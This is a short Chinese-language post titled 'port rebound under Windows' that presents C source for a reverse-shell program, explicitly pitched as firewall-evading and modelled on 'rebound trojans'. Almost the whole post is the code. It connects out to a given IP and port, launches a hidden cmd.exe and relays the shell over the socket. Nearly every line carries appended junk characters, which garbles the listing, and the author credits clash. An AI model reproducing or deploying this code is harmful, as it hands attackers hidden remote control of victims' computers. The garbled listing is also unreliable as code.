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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 {213/@,  
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/* ============================== |&; ^?M  
Rebound port in Windows NT QL?_FwZL  
By wind,2006/7 cHjQwl  
===============================*/ )PX VR T  
#include -'! J?~  
#include k^J8 p#`6  
8<=^Rkz  
#pragma comment(lib,"wsock32.lib") o?`FjZ6;x  
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void OutputShell(); m{\ & k  
SOCKET sClient; uzYB`H<  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; VmS_(bM  
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void main(int argc,char **argv) iQ'*QbP'Z  
{ Q_5 l.M/9]  
WSADATA stWsaData; Qs6<(zaqkt  
int nRet; ,2@o`R.27  
SOCKADDR_IN stSaiClient,stSaiServer;  :Sq] |)  
)GD7 rsC`<  
if(argc != 3) &d_^k.%y  
{  WR;1  
printf("Useage:\n\rRebound DestIP DestPort\n"); HK;NR.D  
return; K"#$",}=  
} (Ou%0 KW  
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WSAStartup(MAKEWORD(2,2),&stWsaData); kpm;ohd  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Xka REE  
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stSaiClient.sin_family = AF_INET; bZqTT~'T  
stSaiClient.sin_port = htons(0); J=g)rd[`  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); O2w-nd74U  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Abc{<4 z0?  
{ [9m3@Yd'  
printf("Bind Socket Failed!\n"); FK%b@/7s~  
return; %w;qu1j  
} &V].,12x  
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stSaiServer.sin_family = AF_INET; I2Xd"RHN  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); @\K[WqF$$q  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); vsY?q8+P  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 8=8 hbdy;  
{ lx)^wAO4  
printf("Connect Error!"); @X==[gQ  
return; q+ax]=w  
} :U6` n  
OutputShell(); e4z`:%vy  
} Q6h+.  
PL/g| ;  
void OutputShell() bi<<z-q`wJ  
{ M\ATT%b:  
char szBuff[1024]; {,>G 1>Yv  
SECURITY_ATTRIBUTES stSecurityAttributes; \DB-2*a"  
OSVERSIONINFO stOsversionInfo; C:QB=?%;  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; nm^HL|  
STARTUPINFO stStartupInfo; iRQ!J1SGcG  
char *szShell; d0El2Ct8  
PROCESS_INFORMATION stProcessInformation; 7'0Vb !(  
unsigned long lBytesRead; &K ~k'P~m  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); m,.Y:2?*V  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); @8d 3  
stSecurityAttributes.lpSecurityDescriptor = 0; m1$tf ^  
stSecurityAttributes.bInheritHandle = TRUE; I^NDJdxd  
!T 6R[  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); |RX#5Q>z  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); eqx }]#  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); )Z7Vm2a  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; X\^V{v^-  
stStartupInfo.wShowWindow = SW_HIDE;  wJp<ZL  
stStartupInfo.hStdInput = hReadPipe; hnj\|6L  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ,9&cIUH  
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GetVersionEx(&stOsversionInfo); }7 N6n Zj`  
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switch(stOsversionInfo.dwPlatformId) "Q?+T:D8|  
{ *z0!=>(  
case 1:  a_?sJ  
szShell = "command.com"; |T:R.=R$~  
break; 8$(I! ;  
default: Qqm?%7A1  
szShell = "cmd.exe"; C}huU  
break; Sd7jd?#9'  
} !=0h*=NOYt  
L\Se ,  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); lY%I("2=  
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send(sClient,szMsg,77,0); .j}]J:{%  
while(1) (x=$b(I  
{ RQVu~7d[  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 3j7FG%\  
if(lBytesRead) b8WtNVd  
{ cu!%aM,/<-  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); jn(x-fj6R  
send(sClient,szBuff,lBytesRead,0); c 1YDln  
} "@Vyc6L  
else *22Vc2[i;  
{ qO6M5g:   
lBytesRead=recv(sClient,szBuff,1024,0); Z.VKG1e}  
if(lBytesRead<=0) break; tv#oEM9esl  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); kK &w5'  
} WzIUHNn'I  
} IJ^~,+  
'a#lBzu\b  
return; 5`h$^l/  
}
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